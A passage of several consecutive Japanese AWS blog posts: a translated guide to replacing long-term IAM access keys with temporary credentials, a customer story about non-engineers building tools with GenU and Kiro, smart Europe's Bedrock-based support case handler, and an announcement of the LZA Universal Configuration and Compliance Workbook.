のシニアテクニカルプロダクトマネージャーです。複雑なアイデアに明確さとシンプルさをもたらすことにやりがいを感じています。仕事以外では、ピラティスやダンスをしたり、お気に入りのコーヒーショップを探したりしています。 Sowjanya Rajavaram Sowjanya は AWS の Identity and Security を専門とするシニアソリューションアーキテクトです。あらゆる規模のお客様の ID およびアクセス管理の問題解決を支援しています。旅行や新しい文化、食べ物を探求することを楽しんでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 7 月 21 日に公開された AWS Blog “ Beyond IAM access keys: Modern authentication approaches for AWS ” を翻訳したものです。 AWS の認証において、 AWS Identity and Access Management (IAM) アクセスキーなどの長期認証情報に依存することは、認証情報の漏洩、不正な共有、窃取などのリスクをもたらします。この記事では、AWS のお客様が従来 IAM アクセスキーを使用してきた 5 つの一般的なユースケースと、検討すべきより安全な代替手段を紹介します。 AWS CLI アクセス: AWS CloudShell の活用 主に AWS コマンドラインインターフェイス (AWS CLI) アクセスのためにアクセスキーを使用している場合は、 AWS CloudShell の利用を検討してください。AWS CloudShell はブラウザベースの CLI で、使い慣れた強力な CLI 機能を提供しながら、ローカルでの認証情報管理の必要性を最小限に抑えます。 セキュリティを強化した AWS CLI: AWS IAM Identity Center より堅牢なソリューションが必要な場合は、AWS CLI v2 と AWS IAM Identity Center の組み合わせが優れた認証アプローチを提供します。この統合により、以下が可能になります。 ユーザー管理の一元化 多要素認証 (MFA) とのシームレスな統合 セキュリティ制御の強化 設定は AWS CLI ドキュメント を使用して簡単に行え、MFA は IAM Identity Center MFA ガイド に従って有効化できます。 ローカル開発: IDE 統合 ローカル環境で作業する開発者向けには、Visual Studio Code などの最新の統合開発環境 (IDE) が AWS Toolkit をサポートしており、IAM Identity Center を通じた安全な認証を提供します。これにより、スムーズな開発体験を維持しながら、長期アクセスキーが不要になります。詳細は、 AWS IDE 統合 をご覧ください。 AWS コンピューティングサービスと CI/CD アクセス アプリケーションや自動化パイプラインが AWS リソースへのアクセスを必要とする場合、AWS コンピューティングサービス ( Amazon Elastic Compute Cloud (Amazon EC2) 、 Amazon Elastic Container Service (Amazon ECS) 、 AWS Lambda ) 上で実行する場合でも、CI/CD ツールを通じて実行する場合でも、IAM ロールが理想的なソリューションを提供します。これらのロールは一時的な認証情報のローテーションを自動的に管理し、セキュリティのベストプラクティスに従います。 AWS コンピューティングサービスの場合 : コンピューティングリソースで標準の IAM ロールを使用します。実装の詳細については、 EC2 IAM ロールのドキュメント を参照してください AWS でホストされる CI/CD の場合 : AWS CodePipeline や AWS CodeBuild などを使用する場合は、 サービスリンクロール を使用してアクセス許可を安全に管理します Amazon EC2 でセルフホストされる CI/CD ツールの場合 : Jenkins や GitLab などのツールを AWS リソース上で実行している場合は、他のコンピューティングサービスと同様に IAM ロール (インスタンスプロファイル) を使用します サードパーティの CI/CD サービス (GitHub Actions、CircleCI など) については、次の 外部アクセス要件 を参照してください。 外部アクセス要件 サードパーティアプリケーションやオンプレミスワークロードが関係するシナリオでは、AWS は 3 つの方法を提供しています。 サードパーティアプリケーション : 長期アクセスキーの代わりに、IAM ロールを通じた一時的なセキュリティ認証情報を実装します。ルートユーザーのアクセスキーは絶対に使用しないでください。 サードパーティアクセスのドキュメント を参照してください オンプレミスワークロード : IAM Roles Anywhere を使用して、AWS 以外のワークロード用の一時的な認証情報を生成します。詳細については、 AWS 以外のワークロードのアクセス を参照してください CI/CD SaaS (Software as a Service) : クラウドベースの CI/CD サービスの場合は、 OpenID Connect (OIDC) と IAM ロールの統合 を使用して、永続的な認証情報の必要性を最小限に抑えます。これにより、CI/CD パイプラインは信頼関係を通じて一時的な認証情報を取得できます。実装の詳細については、AWS OIDC プロバイダーのドキュメントを参照してください ベストプラクティス: 最小権限の原則 認証方法に関係なく、常に最小権限の原則を実装してください。これにより、ユーザーとアプリケーションが必要なアクセス許可のみを持つようになります。正確な IAM ポリシーの作成に関するガイダンスについては、 最小権限の IAM ポリシーを作成するためのテクニック を参照してください。 注: AWS は AWS CloudTrail ログに基づくポリシー生成も提供しており、実際の使用パターンに基づいてアクセス許可テンプレートを作成できます。この機能については、 IAM ポリシー生成のドキュメント をご覧ください。 まとめ ここまで紹介してきたように、IAM アクセスキーに代わる安全な代替手段は数多くあり、セキュリティリスクを軽減しながら AWS 認証戦略を強化できます。CloudShell、IAM Identity Center、IDE 統合、IAM ロール、IAM Roles Anywhere などのツールを使用することで、最新のセキュリティのベストプラクティスに沿った堅牢な認証メカニズムを実装できます。重要なポイントは以下のとおりです。 長期アクセスキーを避け、一時的な認証情報を使用する ユースケースに最適な認証方法を選択する すべてのアクセス方法で最小権限の原則を実装する ポリシーの生成と管理のために AWS が提供する組み込みツールを活用する 新しいソリューションが利用可能になったら、認証方法を定期的に見直して更新する これらの変更を行うことで、セキュリティポスチャを改善するだけでなく、AWS 環境全体の認証プロセスを効率化できます。まずは現在の IAM アクセスキーのユースケースを特定し、これらのより安全な代替手段に段階的に移行することから始めてください。将来的にセキュリティ管理の負担が軽減され、セキュリティチームにとっても大きなメリットとなるでしょう。 Mitch Beaumont Mitch はオーストラリアのシドニーを拠点とする Amazon Web Services のプリンシパルソリューションアーキテクトです。オーストラリア最大級の金融サービスのお客様と協力し、構築・提供する製品や機能のセキュリティ水準を継続的に向上させる支援をしています。仕事以外では、家族との時間、写真撮影、サーフィンを楽しんでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 株式会社アド・ダイセン 様とアマゾン ウェブ サービス ジャパン合同会社が共同で執筆いたしました。 みなさん、こんにちは。ソリューションアーキテクト 瀬高 拓也です。 株式会社アド・ダイセンの理念は「”顧客”から”個客”へ」。付加価値を追求し、One to One コミュニケーションを具現化することを掲げています。目標を共有する二人三脚の戦略パートナーとして、顧客一人ひとりの「おもてなし」にフォーカスした”個客”戦略を打ち出しています。 このような理念を実現するためには、お客様ごとにカスタマイズされたソリューションを提供する必要があり、限られたリソースで多様な要求に応える柔軟性と、個別対応を可能にする技術基盤の構築が重要な課題となっていました。。本ブログでは、アド・ダイセン様が Generative AI Usecases (GenU) を活用し、非技術者が主導して業務効率化を実現した取り組みをご紹介します。 成熟業界で生き残るための現場主導 DX：マニュアルワーカーからナレッジワーカーへ アド・ダイセン様は、ダイレクトメール（DM）の企画・制作から配送までを一貫して手がける企業です。成熟業界において会社が生き残るために、生産性向上が必須の課題であると捉えていました。 同社が直面していた最大の課題は、「現場レベルの DX は現場の人間にしかできない」という現実でした。お客様ごとのリピートビジネスであることから案件ごとに異なる帳票形式や運用プロセスになっており、業務の個別最適化が自然と発生していました。 このような業務が無数に存在する中で、グループ会社を含めてエンジニアは在籍しているものの、無数にある案件ごとの課題全てにエンジニアを割り当てるのは現実的ではありませんでした。その結果、基幹システムやサブシステムを刷新しても、手元の業務プロセスの効率化までに至らないという状況に陥っていました。 この課題に対し、同社は 3〜4 年前から RPA を導入し、本業に近いところで活用するなど、業務改善に前向きに取り組んでいましたが、さらなる加速が必要であると考えていました。 GenU で始まった現場主導の業務効率化 当初、アド・ダイセン様には明確な AI 活用ビジョンはありませんでしたが、「取り残されないために AI を使わなければ」という危機感がありました。 社内では既に生成 AI をマクロのコーディングやブログ執筆などに利用していましたが、チャットによるテキストベースのやり取りに留まっていました。そこで Amazon Bedrock を活用するイベントをきっかけに、GenU をご紹介させていただき、より実践的な活用を模索され始めました。 Amazon Bedrock が利用料に応じた従量課金である点も、まずは触ってみるという姿勢にマッチしており社内での実践的な検証をすることになりました。 生成 AI チームの発足と初期の取り組み 同社は RPA、社内 Q&A ツール、生成 AI の 3 チームを基礎研究を目的として編成し、生成 AI チームが GenUを前提に活動を開始しました。 GenUの機能や、ビルダーモードという独自にユースケースの作成ができる機能を使い、以下のような取り組みを行いました： – 議事録の自動作成 : 会議内容の要約と整理 – 画像判定ツール : DM の封筒加工の向きや面付けチェックの自動化 – 営業数字の分析ツール : 売上データの可視化と分析 これらは新しい価値を提供できたものの、テキスト出力が中心である点や既存事業の中心である事務業務の効率化には直結していない点から「もっと実務に直結する形で活用できないか」という課題が残っていました。 転機：スケジュール管理ツールの開発に成功 転機となったのは、名古屋のメンバーが「業務効率化のためのツールを Python で作れないか」という課題に挑戦し、GenU で Excel と Python を組み合わせたツールの開発に成功したことです。 学生時代に Python に触れた経験のあるメンバーが、GenU の チャット機能を活用して、スケジュール管理ツールを開発しました。 – 機能 : 出荷日から逆算して並行する 5〜10 本のプロジェクトのスケジュールを自動生成 – 連携 : Excel への自動転記、VBA で Outlook のカレンダーに自動登録 – 効果 : 2〜3 時間かかっていた作業が 数分で完了 このツールは従来人間が手作業で目視をしながら行う、スケジュール調整と転記作業を自動化し、主要な事務作業の多くに共通する変数取得→情報処理→提出資料への反映というプロセスを自動化することに成功しました。また、業務時間の効率化だけでなく、人的ミスの削減にも大きく寄与し作業自体の品質向上にもつながりました。また、何より重要だったのは、「非技術者でも 生成AI を使えば実務に直結するツールを作れる」という現場レベルのDXにおける成功体験を得たことでした。 次のステップ： Kiro を活用したより複雑な課題への挑戦 GenU を用いた開発による成功を受け、Kiro の活用を進めています。Kiro は統合開発環境（IDE）として、Agentic AI との対話を通じてコードを修正し、指示を出しながら開発を進められるツールです。 GenU で培った経験を基に、生成 AI チームのメンバーが Kiro を試験的に使い始めました。最初に取り組んだのが、配送シミュレーションツールの開発です。 アド・ダイセン様では、民間の配送業者と郵便局を使い分けて DM を配送しています。従来は Microsoft Access で事前シミュレーション用の資産レポートを作成していましたが、数万～多いもので数百万レコードにもなるデータを１件１件、複数ファイルの配送マスターに当ててシミュレーションする作業は非常に負荷が高く、案件によっては丸 2 日かけて行う業務でした。 Kiro での開発と効果 Kiro を使って配送シミュレーションツールの開発に挑戦したところ、大きな改善効果が得られました： – 開発時間 : わずか 2 時間で基本機能が完成 – 処理時間 : まる 2 日かかっていた作業が約 30 秒に短縮 – 機能 : 約 10 社の宅配会社マスターから選択、ファイルが複数でも、どのようなファイルレイアウトでも一括照合、結果の可視化 Kiro の IDE 機能 + Agentic AI により、コードの編集、デバッグ、実行を一貫して行えたことが、開発スピードの向上につながりました。「このデータをこう処理したい」という業務要件を伝えることで、AI がコードを生成・修正していく対話的な開発プロセスが、非技術者でも高度なツールを作れる環境を提供しています。 今後の展開 現在、配送シミュレーションツールは実業務での社内リリースに向けて調整中です。リリースの判断基準や展開方法を検討しており、しかるべき担当者がツールを開発、検証し、経験者がチェックしてルールを作る体制を整えて全社のDXを促進していきます。 まとめ 今回は株式会社アド・ダイセン様の事例として、非技術者の方が生成 AI を活用して現場主導で業務効率化を実現した事例をご紹介させていただきました。 GenU や Kiro を使った取り組みは、AIを使った業務効率化だけでなく、現場主導のDXにおいて重要な組織のイノベーション文化促進へとつながるアプローチになります。 今回の事例は AWS Startup Loft Tokyo で開催された Amazon Q Developer Meetup #4 にて同社の吉田様に ご登壇いただいた際にもお話いただきました。会場の皆様から「技術的な専門知識がない中で、どうやって素 晴らしいイノベーションを実現されたのか？」といった質問を多くいただくなど、参加者の方々からも強い関 心を持たれており、多くの業種から注目されるご登壇内容となり、ご好評いただきました。 成熟業界において、マニュアルワーカーからナレッジワーカーへのシフトは生き残りの鍵です。エンジニアリソースの制約がある中で、現場の人間が自ら課題を解決できる環境を整えることが、真の DX 推進につながります。生成 AI を活用にご興味がある方は、 AWS までお問い合わせください 。 ソリューションアーキテクト 瀬高 拓也

本記事は 2025 年 12 月 10 日に公開された How smart Europe Revolutionized Automotive Customer Support with Amazon Bedrock を翻訳したものです。 自動車メーカーにとって、新型車のリリース、無線通信 (OTA) によるソフトウェアアップデート、コネクテッドサービスの開始は、新鮮な顧客体験を生み出します。これらのイノベーションは運転体験の向上に役立つ一方で、自動車所有者から車両の機能、充電機能、メンテナンス手順、デジタルサービスに関する多数の問い合わせを生み出します。 自動車メーカーが現代の自動車業界で競争力を維持するためには、絶え間ないイノベーションサイクルが不可欠です。一方で、イノベーションのスピードは、新しい技術を迅速に習得し、増え続ける車両の機能やサービスを利用する顧客に専門的な案内を提供しなければならないカスタマーエンゲージメントセンターの担当者にますます負荷をかけています。 特に、smart Europeのカスタマーエンゲージメントチームは次のような課題に直面していました。 サポート問い合わせの急激な増加: 製品の発売や機能の更新が頻繁に行われていたため、担当者が対応する問い合わせの量が多く、顧客の待ち時間にボトルネックが生じていました。人手に頼ったプロセスで大量の問い合わせを処理するためにsmart Europeの担当者を増やす必要が生じ、運用コストが大幅に増加しました。 解決に要する時間の増加: 時間がかかる人手に頼ったプロセスであったため、問い合わせの前さばき、優先順位づけ、分類、解決という一連のプロセスを経て、顧客の待ち時間を長引かせることとなりました。 必要な知識の増大と一貫性のないサービス品質: 基本的な車両操作から高度なコネクテッドカー機能まで、自動車についてのあらゆるテーマについて専門的な案内を行う必要が生じ、サポート担当者に大きな負荷がかかりました。その結果、サポート担当者や分野によって、サービスの質にばらつきが生じていました。 根本的な効率の問題に対処することなく、担当者の拡充やサポート時間を延長する従来の業務拡大アプローチをとった場合、コストが大幅に増加していたと考えられます。 これらの課題の解決を支援するために、AWS は smart Europe と協力し、 smart.AI Case Handler という新しいサポートツールを開発しました。このツールは、問い合わせに関するインサイトとカスタマイズされた対応を提案することで、 smart Europe のサポート担当者の効率を高めます。このブログ記事では、 smart Europe の smart.AI Case Handler の実装について詳しく説明します。  smart Europe について シュトゥットガルトのラインフェルデン＝エヒターディンゲンに本社を置く smart Europe GmbH は、電動モビリティの未来を開拓しています。2020 年以降、 smart は自動車企業として初めて 100% 電気自動車に切り替えました。これにより、アーバンプレミアムモビリティ、電気自動車、コネクテッドモビリティソリューションの先駆者としての地位を確立しました。 自動車業界は急速に進化しています。電気自動車技術、自動運転機能、コネクテッドカーサービスは自動車業界を変革しています。 smart Europe は、変化する消費者の要求と規制要件を満たすために常に新製品と高度な機能を導入しています。しかし、このイノベーションサイクルは予期せぬ課題を生み、カスタマーサポートの複雑さと量は急激に増大しました。 解決策 smart Europe は、自動車企業のカスタマーサポート特有の課題を解決する自動化されたインテリジェントでスケーラブルなサポートソリューションの必要としていました。この目的のために、 smart Europe は AWS と協力して smart.AI Case Handler と呼ばれる包括的な生成 AI ソリューションを実装しました。 smart.AI Case Handler は、過去の問い合わせ履歴とガイドラインを含む smart Europe のナレッジベースに基づき、各問い合わせのインサイトとカスタマイズされた対応を提案するサポート担当者向けの支援ツールです。ユーザーエクスペリエンスの観点では、サポート担当者が Salesforce（smart Europe の CRM システム）で問い合わせ内容を開くと、システムは AI が生成した問い合わせの概要を表示し、内容確認後に顧客への対応に活用できる回答を担当者に提案します。 堅牢でスケーラブルなソリューションを構築するために、 smart Europe は複数の AWS サービスを使用するサーバーレスアーキテクチャを実装しました。これらのサーバーレスサービスは、トラフィックや使用量の変化に応じて自動的にスケーリングされるため、コストを節約し、アプリのパフォーマンスに影響を与えることなくトラフィックの急激な急増にも対応できます。 smart.AI Case Handler は 2 つの補完的な自動ワークフローによって動作し、これらが連携して AI を活用した包括的なサポートを提供します。 ワークフロー 1: 問い合わせケースのタグ付け — 新しい問い合わせケースが作成された瞬間に自動的に分類して優先順位を付け、各分野の専門家に適切に転送できるようにします。 ワークフロー 2: インサイト生成 — AI が生成した分析、類似問い合わせケース、および問い合わせケース対応の進展に応じて動的に更新される対応案を提供します。 これらの２つのワークフローを用いたアプローチにより、問い合わせケースは作成段階から適切に分類されるとともに、ライフサイクル全体を通じて関連するインサイトが継続的に拡充されます。次のセクションでは、各ワークフローの仕組みについて詳しく説明します。 ワークフロー 1: 問い合わせケースのタグ付け smart.AI Case Handler の重要な部分は、各顧客の問い合わせケースにタグを付けることです。 受信した問い合わせケースは分類され、それぞれの専門家が優先的に引き受けます。 smart.AI Case Handler は、タグ付けされた問い合わせケースに基づいて正確なインサイトを生成できます。 図 1 のアーキテクチャ図は、問い合わせケースのタグ付けワークフローがどのように実装されているかを示しています。 図 1: イベント駆動型の問い合わせケースのタグ付けワークフロー 問い合わせケースタグ付け ワークフローでは、次の手順に従うイベント駆動型ワークフローにより、新規の顧客問い合わせケースを迅速に分類できます。 問い合わせケース作成: Salesforce CRM で新しい問い合わせケースが作成されます。 イベント公開: Salesforce EventBus が問い合わせケース作成イベントを送信します。 イベントキャプチャ: Amazon EventBridge はイベントを受信し、 Amazon Simple Queue Service に転送します。 バッファリング: Amazon SQS はイベントをキューに入れて同時実行を管理し、 Amazon Bedrock のクォータ制限を超えないようにします。 処理トリガー: Amazon SQS は AWS Lambda 関数の“ Step Function Scheduler“ をトリガーします。 オーケストレーション: Lambda 関数は 生成AI ベースのマルチステップ処理用の AWS Step Functions ワークフローを開始します。一連の AWS Lambda 関数が Amazon Bedrock エンドポイントを利用して新しい問い合わせケースのタグを生成します。 結果の統合: ワークフローが完了すると、結果は Salesforce API 経由で返送されます。 この自動タグ付けにより作成の瞬間から問い合わせケースが適切に分類されるため、手作業による介入なしでより効率的な転送と優先順位付けが可能になります。 ワークフロー 2: インサイト生成 インサイト生成ワークフローは以下を提供します。 いくつかの段落にまとめられた問い合わせケースの説明、進捗ステップ、お客様の過去の活動 過去に解決された同様の問い合わせケース 資料への参照 URL を含むナレッジベースの抜粋 サポート担当者への顧客対応案。 図 2 の下の図は、このワークフローがどのように実装されたかを示しています。 図 2: 問い合わせケース更新のための高度な AI 分析 インサイト生成ワークフローは、問い合わせケースの作成と更新の両方において、 AI が生成した分析と回答案をサポート担当者に提供します。以下のステップで実行されます。 問い合わせケースは新しい情報 (コメント、通話履歴、社内投稿、メールなど) で更新されます。 Salesforce EventBus が問い合わせケース更新イベントを送信します。 Amazon EventBridge はイベントを受信し、 Amazon SQS に転送します。 Amazon SQS はイベントをキューに入れて同時実行を管理し、 Amazon Bedrock のクォータ制限を超えないようにします。 Amazon SQS は、リソースが使用可能になると AWS Lambda 関数をトリガーします。 AWS Lambda 関数は AWS ステップ関数ワークフローを開始して包括的な分析を行います。 AWS Step Functions ワークフローは、生成 AI モデルのエンドポイントと Amazon Bedrock ナレッジベースを活用した一連のステップを通じてインサイトを生成します (インサイト生成ロジックの詳細を参照)。 生成されたインサイトは、暗号化された Amazon S3 バケットに (キャッシュされた結果として) 保存されます。 サポート担当者が Salesforce で [インサイトを生成] をクリックすると、 Amazon API Gateway は Amazon S3 から事前に生成されたインサイトを取得し、すぐにアクセスできるようにします。 この先回りしたアプローチにより、担当者が必要とする前にインサイトを準備できるため、質の高い AI 支援を維持しながら待ち時間をなくすことができます。 インサイト生成ロジックの詳細 インサイト生成のビジネスロジックを実装するために、 smart Europe の AI チームは、以下の図 3 に示す AWS Step Functions ワークフローを実装しました。 図 3: 詳細なステップ関数のワークフロー AWS Step Functions ワークフローは、複数の AI オペレーションを取りまとめ、サポート担当者のレビューに役立つ包括的なインサイトを生成します。 問い合わせケースの読み込み: 問い合わせの詳細や顧客の過去の問い合わせを含む、すべての関連データを Salesforce から抽出します。 問題の要約: Amazon Bedrock の LLM を使用して、お客様の問題の構造化された概要を作成します。 並列ナレッジ検索: Amazon Aurora (pg_vector 利用) で作成された Amazon Bedrock ナレッジベース の複数のデータソースを 同時に検索すると、以下が可能になります。 ナレッジ記事ステップ: ナレッジベースから関連ドキュメントを取得 類似事例ステップ: 意味的に類似した過去の事例を特定します。 ソリューションの要約: 問題の概要、ナレッジ記事、および類似事例を統合して、ソリューションを提案します。 並列でのインサイト生成: 問い合わせケースの要約: 簡潔な問い合わせケース概要を作成します。 回答を生成: 担当者がカスタマイズして送信できるように、回答の下書きを作成します。 技術的課題の克服 このアーキテクチャを実装するにあたり、 smart Europe は３つの固有の課題を解決する必要がありました。 課題 1: 担当者の待ち時間が長い 初期のイテレーションでは、サポート担当者が [インサイトを生成] をクリックしたときに、問い合わせケースのタグ付けと応答の生成が開始されていました。そのため、担当者は AWS Step Functions のワークフローが完了するまで 1 ～ 2 分待つ必要があり、ユーザーエクスペリエンスが許容できないものになっていました。 解決策: 担当者が要求する前にインサイトを生成してキャッシュする先回りした処理を実装しました。これにより、ユーザーエクスペリエンスは待ち時間の長い処理から即時のインサイト提供へと変わりました。 課題 2: API スロットリングとレート制限 Amazon Bedrock には、モデルごとに異なる 推論レート制限 があります。ピーク時には、問い合わせケースの同時更新による負荷がこれらの制限を超え、その結果、スロットリングが発生していました。 解決策: アプリケーションは Amazon SQS を使用してリクエストをバッファし、同時実行数の制限が予約された AWS Lambda 関数である“Step Function Scheduler“ を利用して 生成 AI エンドポイントへの推論リクエストのペースを制御します。このメカニズムは、並行して実行されている AWS Step Functions によって開始される 生成 AI 推論が Amazon Bedrock のランタイムクォータを超えないようにし、 Amazon Bedrock エンドポイントのスロットリングを防ぐのに役立ちます (パターンの詳細については、 このブログ投稿 の図 4 を参照してください)。さらに、 AWS Step Functions 内では エクスポネンシャルバックオフとジッター が適用され、アプリケーションの耐障害性が高まります。 課題 3: 過剰な更新トリガー 新しい AI インサイトが必要ない場合でも、アプリケーションは問い合わせケース更新のたびに処理していたため、不必要な負荷とコストが発生していました。 解決策: smart Europe は、変更タイプ、コンテンツの重要性、ビジネスルールに基づいて関連する更新のみを選択的に処理するフィルタリング機構を AWS Lambda 関数で開発しました。 変革をもたらす結果 Amazon Bedrock を利用した自動化の影響は、大きな変革をもたらしました。わずか 4 人の開発者 (1 人の AI エンジニア、1 人のクラウドアーキテクト、2 人 の CRM エンジニア) で構成された小規模なチームが 3 か月でソリューションを設計して提供した結果、smart Europe は以下を達成しました。 問い合わせ解決時間を 40% 短縮: サポート担当者は AI の活用により、顧客からの問い合わせをはるかに迅速に解決できます。 ファーストコンタクトによる解決が 20% 増加: フォローアップのやり取りを必要とせずに解決できる顧客の問題が増えています。 10,000 件を超える問い合わせケースを処理: このソリューションは、すでに現実世界での多くの実績を積み上げています 2025 年の当初計画予算から 30% の節約見込み: 効率性の向上と処理時間の短縮により、投資収益率が大幅に向上します。 今後、smart Europeの AI チームは、製品の複雑さが増すにつれて、エージェント機能でソリューションを充実させることを計画しています。 結論: 自動車業界の顧客体験の向上 smart Europe の実装は、現代の自動車企業が日々直面している特有の課題を生成 AI と AWS のクラウド技術がどのように解決できるかを示しています。 smart Europe の AI チームは、自動化と人間の専門知識を組み合わせることで、コストを節約して顧客満足度を向上させながら、イノベーション・サイクルとともに成長するスケーラブルなソリューションを構築しました。 smart Europe の成果に限らず、この実装は急速な技術進化を遂げている業界全体で AI を活用したカスタマーサポートがもたらす変革のポテンシャルを示しました。自動車企業が高度なコネクテッドサービスと自律的機能を統合し続ける中、 smart.AI Case Handler のようなソリューションは、サポート効率を劇的に向上させながら、優れた顧客体験を大規模に維持する実証済みの事例となっています。 サポート量の増加、解決時間の増大、チーム全体での知識の横展開など、同様の課題に直面している場合、 Amazon Bedrock は独自のインテリジェントなサポートソリューションの構築を支援します。Amazon Bedrock を始めて、カスタマーサポート業務の変革に向けた第一歩を踏み出しましょう。 Levent Kent Levent Kent は、アマゾンウェブサービス (AWS) のシニア生成 AI ソリューションアーキテクトです。銀行、教育、ヘルスケアから自動車、製造に至るまで、さまざまな分野で 14 年以上にわたるサービス提供経験とアーキテクチャの専門知識を有します。現在は、自動車や製造業のお客様とのコラボレーションを通じて、スケーラブルで革新的な生成 AI ソリューションの設計と構築を支援することで成功を収めています。空き時間には、友達と踊ったり歌ったりするのが好きです。 Andreas Rickert Andreas Rickert は、smart Europe のシニアデータエンジニア兼データアーキテクトです。現在は smart.AI イニシアチブに注力し、革新的な生成AI搭載製品の開発を推進しています。Andreas はクラウドテクノロジーに重点を置き、smart Europe がデータと AI の力を活用して変革の成果を実現できるようにする、スケーラブルで最先端のデータアーキテクチャを設計および実装しています。空き時間には、仕事と個人的な情熱のバランスをとりながら、運動を通して活動的でいることを楽しんでいます。 Bastian Klein DevOps、コンテナテクノロジー、クラウドアーキテクチャで 10 年以上の経験を持つ Bastian Klein は、AWS のグローバルソリューションアーキテクトとして、自動車および製造業のインフラのモダナイズや複雑なクラウドトランスフォーメーションを支援しています。 Hidayat Heydarov Hidayat Heydarov は、 smart Europe でデータ & AI プロダクトマネージャーを務め、データおよびビジネスインテリジェンスプラットフォームの開発とともに、AI製品ソリューションを推進しています。Hidayat は、データ、人工知能、自動車セクターの専門知識における幅広い経歴を活かして、部門を超えたアジャイルチームと協力して、生のデータを実用的な洞察やインテリジェントシステムに変換しています。データ戦略を考える以外では、本に没頭したり、ブログを通じて洞察を共有したりすることを楽しんでいます。 本記事は Solutions Architect の坂本 和穂 が翻訳しました。

本ブログは 2025 年 11 月 20 日に公開された AWS Blog “ Introducing the Landing Zone Accelerator on AWS Universal Configuration and LZA Compliance Workbook ” を翻訳したものです。 AWS は、 Landing Zone Accelerator on AWS (LZA) の最新のサンプルセキュリティベースラインである Universal Configuration の提供を開始しましたのでお知らせします。Universal Configuration は、世界各国の政府機関を含む規制の厳しい業界のお客様との長年の現場経験と、AWS パートナーや業界の専門家との協議に基づいて開発されました。規制対象のワークロードに対してセキュリティとコンプライアンスを大規模に実装できるよう支援します。最新の AWS セキュリティベストプラクティスに基づく高い基準により、Universal Configuration はさまざまな地域や業界セクターのコンプライアンスフレームワークからの技術的コントロール要件に対応できます。Universal Configuration のマルチアカウントセキュリティアーキテクチャは、現在の多様なワークロード要件をホストするための基盤を提供するとともに、将来の組織を支える 生成 AI や エージェンティック AI ソリューションの導入にも柔軟に対応できます。また、 AWS Well-Architected の原則に基づいた包括的なセキュリティおよびコンプライアンス重視の環境を数時間でデプロイでき、数か月に及ぶ複雑な計画と設計を大幅に短縮できます。 組織が成長するにつれて、新しいセキュリティコンプライアンス認証の取得や遵守が求められます。LZA と Universal Configuration は、セキュリティとコンプライアンスの取り組みにおいて、あらゆる規模とフェーズの組織を支援します。デプロイの速さ、ステップバイステップのドキュメント、コンプライアンスリソースにより、従来のセキュリティ評価・認証取得のプロセスを数ヶ月短縮し、より確実で良好な監査結果を得やすくなります。これにより、セキュリティとコンプライアンスを確保しながらも、ビジネスの成長にリソースを投資する自由度が高まります。 Universal Configuration は、組織が以下を実現するのに役立ちます。 AWS におけるセキュアなマルチアカウント環境のデプロイを自動化 AWS Well-Architected ベストプラクティスに基づく基盤となるセキュリティコントロール デプロイ後もすべての環境に同一のセキュリティコントロールを確実に適用 ネイティブの AWS セキュリティ、アイデンティティ、コンプライアンスサービスを有効化して統合 システムレイヤー全体にコントロールを実装 組織全体のセキュリティアーキテクチャ 境界およびリソース固有の予防的コントロール、プロアクティブコントロール、検出コントロール 複数の AWS リージョンにわたるレジリエンス、ディザスタリカバリ、アクティブフェイルオーバーのサポート セキュリティとコンプライアンス対応の基盤を確立 組み込みの AWS セキュリティベストプラクティスと技術的な実装ステートメント グローバルおよび業界固有のコンプライアンスフレームワーク全体に LZA の機能をマッピング 数ヶ月ではなく数時間で何百ものコントロールをデプロイ LZA Compliance Workbook LZA エンジンは、4 年以上にわたって AWS におけるセキュアなマルチアカウント環境を迅速にデプロイするための信頼できるツールとして活用されてきました。また、環境の運用に使用される AWS サービスに対してのみ料金が発生するため、コスト効率も優れています。 LZA Compliance Workbook は AWS Artifact で新たに公開されたリソースで、Universal Configuration と併せて利用できます。これは、Universal Configuration が NIST 800-53 Rev5、CMMC/NIST 800-171、ISO-27001、HIPAA、C5:2020、NATO D-32 (Appendix B)、DoD CCI などのフレームワークの要件にどのように対応できるかを示す詳細なコントロールマッピングを含む、これまでにない画期的なリソースです。 LZA Compliance Workbook は、最新の Universal Configuration ベースラインを反映するために定期的にメンテナンスされており、今後のリリースでは追加のコンプライアンスマッピングが含まれる予定です。このワークブックには、Universal Configuration のデプロイファイルに基づく詳細なセキュリティ設定の説明と、セキュリティ機能をコンプライアンスに適した形式に変換するコントロール要件のマッピングおよび実装ステートメントが含まれています。AWS セキュリティベストプラクティスとグローバルなコンプライアンスの専門知識を組み合わせることで、Universal Configuration は一貫したセキュリティを実現しながら、地域や業界の要件を満たすことも支援します。 使用開始方法 Landing Zone Accelerator on AWS の Universal Configuration の使用を開始するには、 LZA 実装ガイド で、LZA を使用したデプロイの手順、ユースケース、考慮事項を確認できます。 LZA Compliance Workbook は AWS Artifact から今すぐダウンロードでき、 通知を設定 して、将来のバージョンがリリースされたときにメールを受け取ることができます。デプロイファイルと追加の技術的な実装ガイダンスは、 GitHub の Universal Configuration サンプルおよびドキュメントページ で確認できます。また、監査やアドバイザリーの取り組み、クラウド移行、LZA Universal Configuration のデプロイ、その他のサービスについては、 AWS Partner Network (APN) をご覧ください。 AWS Partner Finder ツール にアクセスし、 Landing Zone Accelerator でソリューションを検索すると、最新の LZA パートナーサービスを確認できます。 ご質問やフィードバックがある場合には、AWS サポートにお問い合わせください。 Kevin Donohue Kevin は AWS のシニアセキュリティコンプライアンスエンジニアで、AWS のお客様がセキュリティとコンプライアンスの目標を達成するためのソリューションとリソースを構築しています。2024 年に AWS プロフェッショナルサービスの Landing Zone Accelerator チームに参加する前は、2019 年から AWS Security に所属し、FedRAMP コンプライアンスと責任共有モデルを専門としていました。 Christine Screnci Christine は AWS のプリンシパルテクニカルプロダクトマネージャーで、エンタープライズレベルのソリューションの開発とスケーリングを専門としています。2016 年に AWS に入社し、グローバルにスケールするソリューションを通じて、世界中の公共部門のお客様の移行とモダナイゼーションの取り組みを支援してきました。仮説駆動型の開発と実験を通じて、AWS テクノロジーによるお客様体験の向上に情熱を注いでいます。 Bhavish Khatri Bhavish は AWS のシニアデリバリーエンジニアで、大規模な組織がコンプライアンス目標を達成するためのエンタープライズスケールのソリューションを構築しています。2018 年に AWS に入社し、マルチアカウント AWS デプロイを専門とし、LZA と Universal Configuration ソリューションに注力しています。さまざまなセクターにおけるグローバルなコンプライアンスフレームワークと規制要件に沿った、セキュアでスケーラブルなクラウド環境の構築を組織が実現できるよう支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

